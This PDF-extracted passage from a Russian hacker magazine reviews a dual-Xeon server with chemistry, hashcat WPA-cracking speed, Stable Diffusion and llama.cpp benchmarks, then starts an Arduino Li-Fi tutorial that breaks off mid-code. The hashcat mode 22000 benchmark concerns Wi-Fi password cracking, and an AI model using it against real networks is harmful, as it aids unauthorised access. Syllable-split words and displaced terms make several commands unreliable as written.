HDD: 2 × 4 Тбайт WD Purpule•
SSD: 256 Гбайт SATA SSD + 512 Гбайт NVME SSD•

ÒÅÑÒ-ÄÐÀÉÂ

А теперь перей дем к самому инте рес ному: про верим, что мож но выжать
из этой машины. Как ока залось, выжать мож но дос таточ но! Я уста новил акту- 
аль ный  на SATA SSD, но раз ницы с NVME осо бой нет, так как опе- 
ратив ки вагон и кеширо вание все сгла жива ет. Так же я вклю чил параметр
ядра , что при бави ло 5–10% к быс тро дей ствию.

Arch Linux

mitigations=off

Êâàíòû
Нач нем, пожалуй, с того, ради чего все и затева лось, — с кван тово-химичес- 
ких рас четов. Ради них, собс твен но, тут куча ядер и мно го памяти. Как и
в , запус каем тес товый рас чет энер гии молеку лы сред него раз- 
мера с отклю чен ными уско рял ками и аппрок симаци ями.

прош лый раз

Тес товая молеку ла

Рас чет про водит ся в прог рам мном пакете ORCA 5.0.4, вход ной файл преж- 
ний.

! UKS b3lyp def2-tzvp tightscf defgrid3 nocosx nori 
%pal nprocs N end 
%method 
AngularGrid 7 
IntAcc 5.670 
GridPruning OldPruning 
BFCut 1e-11 
WeightCut 1e-14 
end 
* xyz 0 1 
7        5.263365000     -0.809094000      0.301207000 
6        6.573875000     -0.272788000      0.577214000 
6        7.676247000     -1.298471000      0.365855000 
6        9.040975000     -0.709409000      0.673148000 
7       10.148432000     -1.562897000      0.289452000 
6       10.248995000     -2.816903000      1.002416000 
6       11.415931000     -0.834654000      0.299215000 
6       11.219991000     -3.722976000      0.274540000 
6       12.616201000     -1.728404000      0.596641000 
7       12.479498000     -3.040776000      0.008370000 
6       13.574798000     -3.784343000     -0.374628000 
6       13.407266000     -5.070792000     -0.923040000 
6       14.889954000     -3.303523000     -0.241151000 
6       14.497437000     -5.811691000     -1.337626000 
6       15.954215000     -4.072569000     -0.671221000 
6       15.794150000     -5.329993000     -1.225769000 
7        4.835772000     -0.973795000     -0.996077000 
6        4.395529000     -1.271139000      1.257513000 
6        3.654749000     -1.533350000     -0.876188000 
7        3.327586000     -1.736522000      0.465013000 
6        2.715758000     -1.933372000     -1.852204000 
6        1.545454000     -2.496808000     -1.443497000 
6        2.154252000     -2.302219000      0.878375000 
6        1.256931000     -2.685894000     -0.059367000 
8        4.488440000     -1.288606000      2.474129000 
17      17.581746000     -3.423758000     -0.479631000 
1        2.033998000     -2.399764000      1.945985000 
1        0.324817000     -3.133479000      0.248767000 
1        0.816928000     -2.808697000     -2.178230000 
1        2.953860000     -1.780764000     -2.894034000 
1        6.554111000      0.068581000      1.610272000 
1        6.717863000      0.592377000     -0.068151000 
1        7.466435000     -2.155921000      1.004541000 
1        7.658018000     -1.645300000     -0.666511000 
1        9.150192000      0.220009000      0.109847000 
1        9.093457000     -0.427101000      1.740796000 
1       11.542924000     -0.345204000     -0.668225000 
1       11.416418000     -0.043022000      1.063859000 
1       13.490643000     -1.237666000      0.182744000 
1       12.779915000     -1.795333000      1.679456000 
1       11.393404000     -4.624746000      0.871541000 
1       10.758268000     -4.030853000     -0.666412000 
1       10.539040000     -2.692732000      2.059832000 
1        9.281760000     -3.312189000      1.005791000 
1       15.101308000     -2.351050000      0.214305000 
1       16.645962000     -5.907387000     -1.549807000 
1       14.333360000     -6.792112000     -1.764807000 
1       12.419211000     -5.483721000     -1.049190000 
* 

За пус каем, смот рим и добав ляем новую строч ку в рей тинг рас четных машин.

i3-8100 4x3.60GHz 00:39:58 
Ryzen 5500U 6x2.1GHz 00:31:24 
i7-8700 6x3.2 GHz /8Gb DDR4 2666MHz /SATA HDD 0:30:18 
dual Xeon X5650, 12x2.7GHz /144Gb DDR3 /ATA HDD 00:29:45 
Xeon E5-2658v3 12x2.6GHz /32Gb DDR4 2133MHz /SATA HDD 00:23:15 
i5-10600K, 6x4.5GHz /16Gb DDR4 /SDD   00:22:43 
AMD Ryzen 7 3700X 8x3.6GHz   00:19:07 
dual Intel Xeon E5-2680v2 10x3.6 GHz /64Gb DDR3 1066MHz /HDD 00:17:17 
i9-10920x 12x3.5GHz /128Gb DDR4/M.2 SSD 00:14:40 
dual Intel Xeon E5-2697v2 12x2.7GHz /256Gb DDR3 1600MHz /SATA HDD 0:
12:57 
AMD Ryzen 9 5900X/32Gb/HDD 00:12:23 
Xeon 2696v4 22x2.8GHz /512Gb DDR4 2400MHz /RAID0 M2 SSD 00:10:53 
AMD Ryzen 9 5950X 16x3.4GHz /64Gb DDR4 /M.2 SSD 00:07:33 
--- 
dual Intel Xeon E5-2690v4 14x3.2GHz /512Gb DDR4 2400MHz /NVME SSD 0:
07:24 
--- 
Ryzen Threadripper 3970x, 32x3.7GHz /256Gb DDR4 3200MHz /SSD  0:05:32 

Ви дим, что на этот раз мы обош ли даже Ryzen 9 5950X и усту пили толь ко
Ryzen Threadripper 3970x. Я думаю, что это очень хороший резуль тат. На этой
машине за минув ший год было мно го чего пос читано (и что-то даже опуб- 
ликова но). Самый дли тель ный рас чет занял при мер но две недели в пол ной
наг рузке, и машина показа ла себя очень хорошо. Работа ет ста биль но,
не перег рева ется.

Áðóòôîðñ
Пол ноцен но бру тить пароли Wi-Fi, как в прош лый раз, я не стал, прос то уста- 
новил , драй веры Nvidia для CUDA и 

для работы на CPU. Пакет  мож но тянуть с .

hashcat intel-opencl-runtime
intel-opencl-runtime AUR

За пус каем тест:

 1,2  hashcat -D -b -m 22000 |tee hashcat_report.txt 

По луча ем сле дующий резуль тат:

CUDA API (CUDA 12.5) 
==================== 
* Device #1: NVIDIA GeForce GTX 1080 Ti, 8701/11165 MB, 28MCU 

OpenCL API (OpenCL 2.1 LINUX) - Platform #2 [Intel(R) Corporation] 
================================================================== 
* Device #2: Intel(R) Xeon(R) CPU E5-2690 v4 @ 2.60GHz, 257893/
515851 MB (64481 MB allocatable), 56MCU 

Benchmark relevant options: 
=========================== 
* --opencl-device-types=1,2 
* --optimized-kernel-enable 

--- 
* Hash-Mode 22000 (WPA-PBKDF2-PMKID+EAPOL) [Iterations: 4095] 
--- 

Speed.#1.........:   622.3 kH/s (90.12ms) @ Accel:32 Loops:512 Thr:
512 Vec:1 
Speed.#2.........:    81546 H/s (87.04ms) @ Accel:1024 Loops:512 Thr:
1 Vec:8 
Speed.#*.........:   703.9 kH/s 

Ви дим и здесь хороший при рост быс тро дей ствия по срав нению с моей
прош лой машиной. Два Xeon 2690 v4 дают 81 546 хешей в секун ду про- 
тив 52 739 на Xeon 2696 v4. Что любопыт но, два Xeon 2690 v4 сто ят раза в два
дешев ле, чем 2696 v4.

Ви деокар та, как и в прош лый раз, ожи даемо уде лыва ет CPU
и дает 622,3 килохе ша в секун ду про тив 457,5 для GTX 1080 (без Ti). Отсю да
вывод — луч ше брать вер сию с Ti, так как раз ница в цене несущес твен на,
а быс тро дей ствия и памяти замет но боль ше.

Сум марно име ем 703,9 килохе ша в секун ду, что поч ти в пол тора раза
боль ше, чем в прош лый раз. Не 4090, конеч но, зато дешево и сер дито. Лет
пять назад мне такой хеш рейт казал ся фан тасти чес ким.

Stable Diffusion
Ге нера тив ные ней росети — это весь ма инте рес ная и акту аль ная тема. Учи- 
тывая пре тен зии нашей сбор ки на зва ние рас четно го сер вера, глу по не поп- 
робовать запус тить ней росет ку. Из того, что мож но сей час запус тить офлайн,
самым популяр ным вари антом, веро ятно, будет Stable Diffusion, его
и выберем.

Читай также по теме Stable Diffusion

• Stable Diffusion XL. Генери руем кар тинки ней росетью на сво ем компь юте- 
ре

• Stable Diffusion XL. Выбира ем модели, рефай неры, лоры и сти ли
• ReForge. Улуч шаем кар тинки, генери руемые Stable Diffusion

Ис поль зовать будем интерфейс , c Arch Linux он, конеч но,
не очень дру жит (нуж ны pip и Python 3.10), зато информа ции по нему пол но.
Ста вим из AUR . Пишут, если под рихто вать уста новоч ный файл, то
мож но запус тить с акту аль ной вер сией Python, но у меня не получи лось.
В будущем раз работ чики обе щают испра вить это.

AUTOMATIC1111

Python 3.10

Ка чаем фай лик инстал лятора:

wget https://raw.githubusercontent.com/AUTOMATIC1111/stable-
diffusion-webui/master/webui.sh 

Пра вить его не при дет ся, све жеус танов ленный Python 3.10 он под хва тит сам.
Запус каем, и инстал лятор сам ска чает все нуж ные фай лы и зависи мос ти.
В резуль тате скрипт соз даст пап ку , уста новит туда
Stable Diffusion и даже сра зу запус тит.

stable-diffusion-webui

Ес ли все работа ет пра виль но, то сме ло жмем Ctrl-C. У нас же не рабочая
стан ция, а сер вер, поэто му перехо дим в пап ку 
и запус каем  с парамет ром  в фоне.

stable-diffusion-webui
webui.sh --listen

$cd stable-diffusion-webui 
$nohup webui.sh --listen & 

Те перь мож но под клю чить ся к веб-интерфей су, наб рав его адрес в бра узе ре:

http://server_ip:7860/ 

Веб-интерфейс

Ос талось толь ко ска чать пару-трой ку моделей. Могу пореко мен довать 
 и . Класть их нуж но вот сюда:

lyriel
v16 Chip_n_DallE

stable-diffusion-webui/models/Stable-diffusion/ 

Что писать в пром пте и куда жать потом, обсуждать лиш ний раз не будем. Нас
боль ше инте ресу ет быс тро дей ствие. Если генери ровать изоб ражения 512 ×
512, то это зай мет око ло семи секунд на дефол тных нас трой ках. То есть
за минуту мож но наш лепать десяток кар тинок, что впол не при емле мо. Если
перей ти на раз решение 1024 × 1024, то на кар тинку ухо дит око ло минуты,
и это уже неп рият но.

Что же до срав нения быс тро дей ствия CPU и GPU, то GTX 1080 Ti ведет
с хорошим отры вом: 7 с про тив 30 с, которые пот ребова лись двум Xeon 2690
v4. Поэто му, исполь зуя CPU с таким огромным количес твом памяти, мож но
замах нуть ся на боль шое раз решение, но прак тичес кого смыс ла в этом нет.

За пус тить Stable Diffusion на CPU мож но вот такой коман дой:
./webui.sh --listen --use-cpu all --precision full --no-half -

-skip-torch-cuda-test
Ко роче, запус каем на GPU, работа ем с раз решени ем 512 × 512 и раду- 

емся жиз ни без встро енных раз работ чиком ней рон ки цен зуры и огра ниче ний.
Глав ное — не всмат ривать ся в эти кар тинки слиш ком силь но и не перес- 
читывать паль цы!

При мер изоб ражения

LLM
А эта тема, пожалуй, даже инте рес нее. Наша машина выг лядит впол не под- 
ходящей, что бы поп робовать запус тить боль шую язы ковую модель, опе рати- 
вы у нас с избытком, про пус кная спо соб ность тоже хорошая. Нес мотря на то
что мы исполь зуем отно ситель но ста рую DDR4 2400, за счет 2 × 4 каналов мы
получа ем 2 × 76,8 Гбайт/с. Короче, сто ит поп робовать. Кача ем с GitHub
исходни ки  и собира ем две вер сии — для CPU и GPU.llama.cpp

git clone https://github.com/ggerganov/llama.cpp 
cd llama.cpp 
# Для CPU
$make
# Для GPU

 1 $make GGML_CUDA=

Еще нам понадо бят ся сами модели. Боль ше все го мне пон равились
,  и она же, но поболь ше —

.
OpenChat 3.5 Deepseek Coder 6.7B Instruct
Deepseek Coder 33B Instruct

Пер вая модель, уни вер саль ный тек сто гене ратор, ори енти рова на
на англий ский язык, но с рус ским тоже неп лохо справ ляет ся, а две пос ледние
нат рениро ваны на генера цию кода, про верял их на C и Python, справ ляют ся
они хорошо. Запус кать их мож но в двух вари антах: в чис то кон соль ном виде
(llama-cli) и в режиме сер вера (llama-server). Кста ти, в отли чие
от AUTOMATIC1111 эти бинар ники самодос таточ ны и пос ле сбор ки их мож но
переме щать куда угод но.

Ес ли срав нивать быс тро дей ствие, то на виде окар те модели работа ют
замет но шус трее, но есть нюанс: замет ный при рост в ско рос ти получа ется,
если помес тить всю модель в виде опа мять, а она у нас огра ниче на 12 Гбайт.
Итак, тес ты!

CPU
 ./bin/llama-cli -m deepseek-coder-33b-instruct.Q5_K_M.gguf -p

"Напиши функцию сортировки строк пузырьком на C."

Ре зуль тат: 2,22 токена в секун ду. Работа ет не быс тро, но тер пимо: пока отве- 
чает, чай допить, пожалуй, не успе ешь (если с чувс твом пить, конеч но).

 ./bin/llama-cli -m deepseek-coder-6.7b-instruct.Q5_K_M.gguf -p
"Напиши функцию сортировки строк пузырьком на C."

Ре зуль тат: 9,80 токена в секун ду. А вот это уже бод рень ко!

 ./bin/llama-cli -m openchat_3.5.Q5_K_M.gguf -p "Напиши функцию 
сортировки строк пузырьком на C."

Ре зуль тат: 10,15 токена в секун ду. Тоже хорошо.

GPU
 ./llama-cli-gpu -m deepseek-coder-33b-instruct.Q5_K_M.gguf -p

"Напиши функцию сортировки строк пузырьком на C."

Ре зуль тат: 2,26 токена в секун ду.

 ./llama-cli-gpu -m deepseek-coder-6.7b-instruct.Q5_K_M.gguf -p
"Напиши функцию сортировки строк пузырьком на C."

Ре зуль тат: 10,76 токена в секун ду.

 ./llama-cli-gpu -m openchat_3.5.Q5_K_M.gguf -p "Напиши функцию 
сортировки строк пузырьком на C."

Ре зуль тат: 9,96 токена в секун ду.
А теперь помес тим модель в память GPU, нас коль ко это воз можно.

 21  ./llama-cli-gpu -m deepseek-coder-33b-instruct.Q5_K_M.gguf -ngl -p
"Напиши функцию сортировки строк пузырьком на C."

Ре зуль тат: 3,10 токена в секун ду.

 24 
 

./llama-cli-gpu -m deepseek-coder-6.7b-instruct.Q5_K_M.gguf -ngl
-p "Напиши функцию сортировки строк пузырьком на C."

Ре зуль тат: 22,88 токена в секун ду.

 33  ./llama-cli-gpu -m openchat_3.5.Q5_K_M.gguf -ngl -p "Напиши 
функцию сортировки строк пузырьком на C."

Ре зуль тат: 39,19 токена в секун ду.
В пос леднем слу чае ско рость прос то фан тасти чес кая!
В целом LLM чувс тву ют себя хорошо, осо бен но на виде окар те, тем более

если все слои уда ется запихать в память GPU, что, увы, получа ется не всег да.
Пре вос ходс тво GPU над CPU тут, конеч но, пос кром нее, чем в бру те, но все
рав но в разы. А дело, видимо, в том, что узкое мес то — про пус кная спо соб- 
ность памяти. По лич ным впе чат лени ям: если запус кать OpenChat 3.5, как в
пос леднем при мере, то работать с ним впол не ком фор тно.

ÂÛÂÎÄÛ

По лучил ся очень недоро гой и при лич ный рас четный сер вер. Да, приш лось
мес тами под пилить кор пус и понадо бит ся спе циаль ный скрипт или даже пла- 
та для кон тро ля ско рос ти вен тилято ров, но все это отно ситель но нес ложно
орга низо вать.

Бла года ря виде окар те мож но и с ней росетя ми поиг рать. Если для тебя
это основное исполь зование, то кар ту мож но взять пок руче, а вот на опе- 
ратив ной памяти можешь сэконо мить — 128 Гбайт хва тит с запасом.

К нес частью, потен циал для апгрей да силь но огра ничен, но еще нес коль- 
ко лет машина точ но побега ет. В общем, если ищешь вари ант подешев ле
и помощ нее, то RD450X однознач но зас лужива ет вни мания.

https://xakep.ru/2024/05/03/cooling-controller/
https://www.cnblogs.com/spaceship9/p/17975866
https://wiki.archlinux.org/title/EFISTUB
https://wiki.archlinux.org/title/Main_page
https://xakep.ru/2024/02/20/high-spec-pc/
https://aur.archlinux.org/packages/intel-opencl-runtime
https://xakep.ru/2024/01/24/sdxl-fooocus/
https://xakep.ru/2024/03/14/sdxl-fine-tuning/
https://xakep.ru/2024/07/16/stable-diffusion-reforge/
https://github.com/AUTOMATIC1111/stable-diffusion-webui
https://aur.archlinux.org/packages/python310
https://huggingface.co/serta21/lyriel_v16
https://huggingface.co/Yntec/Chip_n_DallE
https://github.com/ggerganov/llama.cpp
https://huggingface.co/TheBloke/openchat_3.5-GGUF
https://huggingface.co/TheBloke/deepseek-coder-6.7B-instruct-GGUF
https://huggingface.co/TheBloke/deepseek-coder-33B-instruct-GGUF
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GEEK

Пред ставь, что каж дая лам почка в тво ей
квар тире — это мощ ный источник интерне- 
та, по ско рос ти в сот ню раз пре выша ющий
сов ремен ный Wi-Fi. Пол минуты сто ишь
под ней, и вот уже ска чалось обновле ние
для Genshin Impact, можешь играть. Фан- 
тасти ка? Нет, будущее! В этой статье раз- 
берем, что такое Li-Fi и как самому соб рать
такую сис тему на осно ве двух плат Arduino.

ÈÊ-ÏÎÐÒ ÍÀ ÌÀÊÑÈÌÀËÊÀÕ

Для начала раз берем, что такое этот «лай-фай». Наз вание, соз вучное с при- 
выч ным нам Wi-Fi, рас шифро выва ется как Light Fidelity. Из наз вания понят но,
что клю чевую роль тут игра ет свет. Что мы зна ем о све те? Свет рас простра- 
няет ся очень быс тро, так что если исполь зовать его в качес тве канала свя зи,
то и дан ные будут переда вать ся с прек расной ско ростью. Об этом как-то
задума лись уче ные чуть боль ше десят ка лет назад и раз работа ли тех нологию
бес про вод ной свя зи, по которой дан ные переда ются с помощью све та
от ком натных источни ков осве щения. В пред став лении иссле дова телей каж- 
дая лам почка в доме мог ла бы стать источни ком свя зи.

Ми нута под лам почкой, и десят ки гигабайт дан ных отправ лены

INFO

Про све тоди оды, как и про осталь ную элек тро- 
нику, я уже неод нократ но рас ска зывал в 

. Так же в пос ледней мы соб рали устрой- 
ство для сня тия 
све тоди ода, а в этой будем переда вать с него
дан ные на дру гой мик рокон трол лер с помощью
Li-Fi.

прош лых
стать ях

вольт-амперной харак терис тики

Как ты уже зна ешь из моих ста тей, бла года ря широт но-импуль сной модуля- 
ции мы можем нас толь ко быс тро перек лючать сос тояния све тоди ода, что
челове чес кому гла зу не под силу это заметить, зато опти чес кому сен сору,
отве чающе му за при ем сиг нала, — впол не.

Li-Fi исполь зует тех нологию visible light communications, связь по видимо му
све ту. Свет пре обра зует ся в элек трон ный сиг нал, а затем сиг нал обратно
прев раща ется в дан ные. Для реали зации этой сис темы в лам пы необ ходимо
внед рить чип, который будет незамет но для челове чес кого гла за модули- 
ровать свет и таким обра зом переда вать дан ные, которые будут счи таны при- 
емни ком с фото эле мен том. Такая схе ма потен циаль но может обог нать Wi-Fi
раз в сто.

Так почему же, сколь ко ни стой под лам почкой с телефо ном, никако го
уско рения интерне та не будет? Почему такую кру тую сис тему еще не внед- 
рили? К сожале нию, у кра сивой сказ ки есть тем ная сто рона. У Li-Fi, нес мотря
на все его плю сы, немало и минусов.

Как ты мог догадать ся, пок рытие у Li-Fi куда мень ше, чем у ради оволн.
В доме понадо бит ся мно го под клю чен ных к интерне ту ламочек, а заг лядыва- 
ющее в окно сол нышко наводит такие помехи, что никакой «Ген шин»
обновлять уже не вый дет. Сов сем дру гое дело, если бы поль зователь жил
в бун кере или еще каком-то помеще нии без окон. Я ведь пре дуп реждал, что
это тех нология будуще го?

По ка же по перечис ленным при чинам Li-Fi внед рять не торопят ся. Но мы
испра вим это, соб рав собс твен ные при емник и передат чик. Пока что работа- 
ющие в чис то лабора тор ных усло виях. Но зато на лег ко дос тупных ком понен- 
тах и с прос тым соф том, который мы напишем по ходу дела.

ÀÐÕÈÒÅÊÒÓÐÀ LI-FI

В осно ве нашей сис темы два эле мен та: яркий све тоди од, который будет
источни ком переда чи дан ных, и при емный фотоди од с хорошей чувс тви тель- 
ностью. Это нуж но, что бы зафик сировать все мел кие модуля ции излу чате ля.

Схе ма архи тек туры Li-Fi

Î×ÓÌÅËÛÅ ÐÓ×ÊÈ

Приш ло вре мя рас чехлять свои элек трон ные ком понен ты, мик рокон трол леры
и про чие при бам басы. Для нашей сис темы пот ребу ется две пла ты. Пер вая
будет источни ком, который переда ет дан ные с помощью све тоди ода, а дру- 
гая — при емни ком, получа ющим эти дан ные с помощью фоторе зис тора. Так
же как и в прош лой статье, где мы уже вспо мина ли про эти ком понен ты,
в качес тве мик рокон трол лера будем исполь зовать нашего вер ного желез- 
ного коня — Arduino.

Для начала давай соберем базовый набор, с которым про тес тиру ем воз- 
можнос ти нашего самодель ного Li-Fi. Нам понадо бят ся сле дующие ком- 
понен ты:

две пла ты Arduino Uno, Nano или любые, какие най дешь;•
све тоди од;•
фо торе зис тор;•
ре зис тор 220 Ом для све тоди ода (не хотим же мы его спа лить?);•
ре зис тор 10 кОм для фоторе зис тора;•
про водоч ки;•
ма кет ная пла та, на которой будем собирать про ект.•

В общем-то, здесь ничего хит рого нет. К переда ющей пла те под клю чим све- 
тоди од через резис тор к какому-нибудь пину с ШИМ — нап ример, к девято- 
му. Ну а минус све тоди ода, понят ное дело, к минусу пла ты.

На пла те-при емни ке один конец фоторе зис тора под клю чим к питанию 5 В,
дру гой через резис тор 10 кОм соеди ним с зем лей, а точ ку меж ду фото-
и обыч ным резис тором — с ана лого вым пином на вто рой Arduino, нап ример
А0.

Схе ма

Не забудь про важ ный нюанс. Све тоди од источни ка необ ходимо рас положить
пря мо в упор к фоторе зис тору. Это, конеч но, сни жает полез ность нашей сис- 
темы, но это лишь экспе римен таль ный про тотип.

ÏÅÐÂÎÅ ÂÊËÞ×ÅÍÈÅ

Для про вер ки работы ком понен тов про тес тиру ем такую прог рамму. Источник
отпра вит сиг нал, а при емник его зафик сиру ет и выведет на монитор пор та.

Код для передат чика:

   int ledPin = 9;

  void setup() {
 // Определяем пин со светодиодом в режим выхода
  pinMode(ledPin, OUTPUT);
}

  void loop() {
 // Включить светодиод
  digitalWrite(ledPin, HIGH);
 // Задержка одна секунда
 delay(1000);
 // Выключить светодиод
  digitalWrite(ledPin, LOW);
 // Задержка одна секунда
 delay(1000);
}

Код для при емни ка:

   int sensorPin = A0;
   int sensorValue = 0;

// Встроенный светодиод. Да, в «Ардуино» уже есть впаянный на 13-м 
пине маленький светодиод, который можно использовать для индикации

   int ledPin = 13;

  void setup() {
  pinMode(ledPin, OUTPUT);
 // Настраиваем монитор порта
 Serial.begin(9600);
}

  void loop() {
 // Считываем сигнал с фоторезистора
   sensorValue = analogRead(sensorPin);
 // Если световой сигнал достаточно сильный
     if (sensorValue > 512) {
   // Включить встроенный светодиод
    digitalWrite(ledPin, HIGH);
   } else {
   // Выключить светодиод
    digitalWrite(ledPin, LOW);
 }
 delay(10);
}

В этом при мере переда ющая пла та вклю чает и вык люча ет све тоди од каж дую
секун ду, а при нима ющая пла та улав лива ет изме нение осве щен ности и вклю- 
чает свой встро енный све тоди од. Ана лого вый сиг нал в Arduino изме ряет ся
от 0 до 1023. Соот ветс твен но, при нимая сиг нал, мы можем при кинуть, что
если он выше полови ны воз можно го зна чения, то све тоди од горит.

HELLO, WORLD

Пе реда ча сиг налов све том таким обра зом напоми нает азбу ку Мор зе,
не прав да ли? В целом доволь но лег ко закоди ровать сооб щение мор зянкой
и передать его таким спо собом. Если хочешь, реали зуй это в качес тве
домаш него задания, заод но поп ракти куешь ся в элек тро нике и мик рокон трол- 
лерах. Если Arduino у тебя еще нет, можешь исполь зовать .Tinkercad

А мы пой дем даль ше и сра зу переда дим текст. Это мож но сде лать раз- 
ными спо соба ми: нап ример, занес ти в базу при емни ка алфа вит и задать вре- 
мя излу чения для каж дого сим вола. Нап ример, вклю чаем све тоди од на 10 мс,
при емник рас шифру ет А, на 20 мс — Б и так далее. Но как буд то это не наш
уро вень, поэто му мы коп нем глуб же. Для переда чи тек сто вых дан ных будем
модули ровать свет таким обра зом, что бы переда валась пос ледова тель ность
битов, соот ветс тву ющая сим волам тек ста.

ÌÎÄÓËßÖÈß ÑÂÅÒÀ

Каж дый байт сооб щения мы в цик ле переда ем фун кции, которая отве чает
за отправ ку. Внут ри он рас кла дыва ется на зна чения битов, которые и прев- 
раща ются в мигание све тоди ода. Пос ланный таким обра зом сиг нал будет
соот ветс тво вать зна чению бай та.

Что бы при емник всег да мог понять, где начало, а где конец нашего потока
информа ции, начало пакета дан ных обоз начим как 0, а в кон це будет идти 1.
С помощью коман ды задер жки  будем отде лять биты друг от дру га,
отби вать каж дый сим вол, а так же задавать начало и конец пакета. В зависи- 
мос ти от ско рос ти работы при нима юще го устрой ства эти задер жки мож но
менять.

delay

При мер переда чи дан ных

ÂÎÇÂÐÀÙÀÅÌÑß Ê ÏÅÐÅÄÀ×Å ÒÅÊÑÒÀ

Да вай наб роса ем код для переда чи стро ки.
Код для передат чика:

   int ledPin = 9;
   String message = "HELLO HACKER";

  void setup() {
 // Определяем пин со светодиодом в режим выхода
  pinMode(ledPin, OUTPUT);
}

   void sendChar(char c) {
          for (int i = 0; i < 8; i++) {
      if (bitRead(c, i)) {
     // Включаем светодиод

      digitalWrite(ledPin, HIGH);
     } else {
     // Выключаем

      digitalWrite(ledPin, LOW);
   }
   // Задержка в 200 мс для каждого бита
   delay(200);
 }
}

  void loop() {
          for (int i = 0; i < message.length(); i++) {
   sendChar(message[i]);
   // Задержка между символами
   delay(1000);
 }
 // Задержка перед повтором
 delay(5000);
}

Код для при емни ка:

   int sensorPin = A0;
   int sensorValue = 0;
   char receivedChar = 0;

  void setup() {
 Serial.begin(9600);
}

  char receiveChar() {
    char c = 0;
          for (int i = 0; i < 8; i++) {
     sensorValue = analogRead(sensorPin);
       if (sensorValue > 512) {

      bitSet(c, i);
   }
   // Задержка синхронизации с передатчиком
   delay(200);
 }
  return c;
}

  void loop() {
   receivedChar = receiveChar();
 Serial.print(receivedChar);
 // Задержка перед приемом следующего символа
 delay(1000);
}

От кры ваем монитор пор та Arduino и дей стви тель но видим, как с нами здо- 
рова ются. Переда ющая пла та отправ ляет текст по одно му сим волу, пре обра- 
зуя их в бинар ные коды и переда вая в виде све товых импуль сов. При нима- 
ющая пла та счи тыва ет эти бинар ные дан ные и пре обра зует обратно в текст.

ÖÈÔÐÎÂÎÉ ÏÎÒÎÊ — ÏÅÐÅÄÀ×À ×ÈÑÅË

Хо телось бы переда вать что-нибудь полез ное, а не прос то про вероч ные
стро ки. Мы можем под клю чить к ана лого вому пину источни ка какой-нибудь
дат чик, нап ример еще один фоторе зис тор, и слать получен ные им дан ные
на вто рую пла ту. Для чис ловых зна чений впол не подой дет тот же прин цип, что
мы исполь зовали для стро ки.

Код для передат чика:

   int ledPin = 9;
// Пример числового значения

   int sensorValue = 3301;

  void setup() {
  pinMode(ledPin, OUTPUT);
}

   void sendInt(int value) {
          for (int i = 0; i < 16; i++) {
      if (bitRead(value, i)) {

      digitalWrite(ledPin, HIGH);
     } else {

      digitalWrite(ledPin, LOW);
   }
   // Задержка для каждого бита
   delay(200);
 }
}

  void loop() {
 sendInt(sensorValue);
 // Задержка перед повтором
 delay(5000);
}

Код для при емни ка:

   int sensorPin = A0;
   int sensorValue = 0;
   int receivedValue = 0;

  void setup() {
 Serial.begin(9600);
}

  int receiveInt() {
    int value = 0;
          for (int i = 0; i < 16; i++) {
     sensorValue = analogRead(sensorPin);
       if (sensorValue > 512) {

      bitSet(value, i);
   }
   // Задержка синхронизации с передатчиком
   delay(200);
 }
  return value;
}

  void loop() {
   receivedValue = receiveInt();
 Serial.println(receivedValue);
 // Задержка перед приемом следующего значения
 delay(1000);
}

В этом при мере переда ющая пла та отправ ляет чис ловое зна чение 3301, пре- 
обра зуя его в бинар ный код и переда вая его через свет. При нима ющая пла та
счи тыва ет эти бинар ные дан ные и пре обра зует их обратно в чис ло. Все прос- 
то и работа ет. Это ли не кру то?

Продолжение статьи →

mailto:7753313vv@gmail.com
https://xakep.ru/author/prostorosty/
https://xakep.ru/2024/07/19/current-voltage/
https://www.tinkercad.com/


СВЯЗЬ СО СКОРОСТЬЮ

СВЕТА
СОБИРАЕМ ПЕРЕДАТЧИК LI-FI

НА ARDUINO

GEEK  НАЧАЛО СТАТЬИ←

ÏÅÐÅÄÀ×À ÃÐÀÔÈÊÎÂ ÂÀÕ ÏÎ LI-FI

Ес ли ты читал мою прош лую статью «
», то зна ешь, что в ней мы соб рали

устрой ство, счи тыва ющее вольт-амперную харак терис тику све тоди ода
и выводя щее ее в виде гра фиков. Теперь давай поп робу ем отпра вить соб- 
ранные нашей уста нов кой дан ные с помощью Li-Fi, который мы уже, счи тай,
при ручи ли.

Из меря ем вольт-амперную харак терис- 
тику полуп ровод ника при помощи Arduino

Пе редат чик ВАХ по Li-Fi

Итак, наша пла та изме ряет падение нап ряжения и силы тока на све тоди оде
(по которым стро ит ВАХ), а так же интенсив ность его све чения с помощью
фоторе зис тора. О готов ности к отправ ке дан ных она сиг нализи рует вто рым
све тоди одом, а сама отправ ка про исхо дит пос ле нажатия на кноп ку. Пос ле
это го прог рамма стро ит гра фики в монито ре пор та.

Для добав ления в про ект передат чика Li-Fi нам понадо бит ся уста новить
еще один све тоди од для переда чи дан ных и под клю чить вто рую пла ту Arduino
с фоторе зис тором — для при ема информа ции. В ито ге схе ма будет выг- 
лядеть сле дующим обра зом.

Схе ма передат чика ВАХ по Li-Fi

Те перь надо добавить нашу фун кцию отправ ки в изна чаль ную прог рамму
источни ка, а так же выз вать ее во всех мес тах, где нуж но отпра вить дан ные.
Что бы было что отправ лять, будем не толь ко выводить дан ные в монитор пор- 
та, но и собирать их все в стро ку. Пос ле каж дой отправ ки дан ные будем обну- 
лять, что бы у Arduino не перепол нился кеш.

Код для источни ка:

 int a;
       float c, d, e, f, g, j, m;
   float c1, d1, e1;

  int k, l;
 float b[256][3];
 String x;

 int y;

  void setup() {
 delay(4000);
 Serial.begin(9600);
  pinMode(2, OUTPUT);
  pinMode(3, INPUT);
  pinMode(4, OUTPUT);
  pinMode(5, OUTPUT);
  pinMode(A0, INPUT);
  pinMode(A1, INPUT);
  pinMode(A2, INPUT);
  analogWrite(2, a);
  digitalWrite(4, 0);
 delay(100);
 analogReference(DEFAULT);
   f = analogRead(A2);
   g = f;
          for (int i = 0; i <= 1000; i++) {
     m = analogRead(A2);
      f = max(f, m);
      g = min(g, m);
 }
       j = (f + g) / 2;
}

   void otpravka(char q) {
  digitalWrite(5, 0);
 delay(15);
          for (int i = 0; i < 8; i++) {
     digitalWrite(5, (bitRead(q, i)));
   delay(15);
 }
  digitalWrite(5, 1);
 delay(15);
}

  void loop() {
     if (a <= 255) {
    analogWrite(2, a);
   delay(100);
            for (int i = 0; i <= 100; i++) {

       c1 = analogRead(A0);
       d1 = analogRead(A1);
         e1 = analogRead(A2) - j;
        c = max(c, c1);
        d = max(d, d1);
        e = max(e, e1);

   }
           b[a][0] = ((5 * (c - d)) / 1023);
             b[a][1] = ((((d / 1023) * 5) / 295) * 1000000);
     b[a][2] = e;
       a = a + 1;
       } else if (a > 255) {
